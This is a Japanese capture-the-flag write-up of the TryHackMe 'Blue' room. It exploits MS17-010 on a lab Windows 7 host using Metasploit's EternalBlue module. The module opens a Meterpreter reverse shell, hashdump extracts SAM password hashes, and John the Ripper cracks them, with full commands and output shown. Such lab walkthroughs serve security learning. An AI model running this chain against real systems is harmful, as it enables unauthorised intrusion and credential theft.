今回はTryHackMeのBlueを攻略していきます。

[sc_Linkcard url=”https://tryhackme.com/room/blue”]

スキャニング

まずはnmapでスキャニングをしていきます。

$ nmap -sV 10.10.116.251

139番ポート、445番ポートが空いているということはSambaが動いています。

今度は脆弱性を確認してみます。

$ nmap --script vuln 10.10.116.251

ms17-010の脆弱性が見つかりました。これはRCE(リモートコード実行)の脆弱性です。

マイクロソフト セキュリティ情報 MS17-010 – 緊急

この脆弱性は深刻度が緊急のやばい脆弱性です。

脆弱性を攻撃して侵入する

攻撃の準備

Metasploit を使って脆弱性を攻撃して侵入していきます。

まずは Metasploit を起動します。

$ msfconsole

攻撃コードがあるか確認してみます。searchコマンドで検索します。

msf6 > search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

Name欄がexploit/xxxxx となっているモジュールがexploit(攻撃コード)です。3つあるexploitのうち、今回は ms17_010_eternalble を使っていきます。

ms17_010_eternalble のモジュールを選択します。

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

攻撃対象となるRHOSTSを設定します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.116.251
RHOSTS => 10.10.116.251
msf6 exploit(windows/smb/ms17_010_eternalblue) >

攻撃

攻撃開始します。

上手くいかない場合は何度か試したり、一度 Metasploit を再度起動して試すとうまくいきます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.5.105:4444 
[*] 10.10.116.251:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.116.251:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.116.251:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.116.251:445 - The target is vulnerable.
[*] 10.10.116.251:445 - Connecting to target for exploitation.
[+] 10.10.116.251:445 - Connection established for exploitation.
[+] 10.10.116.251:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.116.251:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.116.251:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.116.251:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.116.251:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.116.251:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.116.251:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.116.251:445 - Sending all but last fragment of exploit packet
[*] 10.10.116.251:445 - Starting non-paged pool grooming
[+] 10.10.116.251:445 - Sending SMBv2 buffers
[+] 10.10.116.251:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.116.251:445 - Sending final SMBv2 buffers.
[*] 10.10.116.251:445 - Sending last fragment of exploit packet!
[*] 10.10.116.251:445 - Receiving response from exploit packet
[+] 10.10.116.251:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.116.251:445 - Sending egg to corrupted connection.
[*] 10.10.116.251:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.10.116.251
[*] Meterpreter session 1 opened (10.10.5.105:4444 -> 10.10.116.251:49169) at 2023-05-29 03:27:16 +0100
[+] 10.10.116.251:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.116.251:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.116.251:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

侵入成功です!

権限昇格

侵入が成功したら今度は管理者権限を狙います。

NT AUTHORITY\System権限を取得します。これはWindowsのAdministratorsグループに所属する管理者アカウントです。NT AUTHORITY\Systemの詳細はこちら

MetasploitにはSYSTEM権限への昇格を試みるgetsystemコマンドがあり、それを使います。

meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > shell
Process 780 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Already running as SYTEM という結果が帰ってきました。つまりすでにSYSTEM権限であるという意味です。侵入と同時にSYSTEM権限を取得できたようです。

Windowsのパスワードクラッキング

パスワードハッシュの取得

WindowsのローカルアカウントはSAMデータベースでログオン認証の管理を行っており、パスワードがハッシュ形式で保存されています。

Metasploitにはパスワードハッシュが入手できるhashdumpコマンドがあり、それを使います。

meterpreter > hashdump

パスワードの解析

hashdumpで出力した結果のうち、NTLMハッシュを使います。

Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

この出力結果は左から順番に下記のようになっています。

  • ユーザーアカウント名: ユーザーアカウントの名前
  • ユーザーID (UID): ユーザーアカウントの一意の識別子
  • LMハッシュ: LMハッシュ値は、Windows NTベースのシステムで利用される古いパスワードハッシュです(最近のバージョンのWindowsでは非推奨となっています)
  • NTLMハッシュ: NTLMハッシュ値は、Windows NTベースのシステムで利用される現代的なパスワードハッシュです

新しいファイルを作成し、解析したいNTLMハッシュだけをコピペします。

john the ripper を使ってハッシュを解析します。他の解析方法には下記のようなハッシュ解析サイトを使う方法もあります。

[sc_Linkcard url=”https://hashes.com/en/decrypt/hash”]

$ john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

フラグファイルの探索

TryHackmeのタスクとして最後にflagファイルの探索があります。

search -f コマンドでファイルをのパスを探して、ファイルの中のフラグを確認するだけです。

meterpreter > search -f flag1.txt
Found 1 result...
=================

Path          Size (bytes)  Modified (UTC)
----          ------------  --------------
c:\flag1.txt  24            2019-03-17 19:27:21 +0000

同様に flag2.txt と flag3.txt もディレクトリを探して、ファイルの中を確認して終わりです。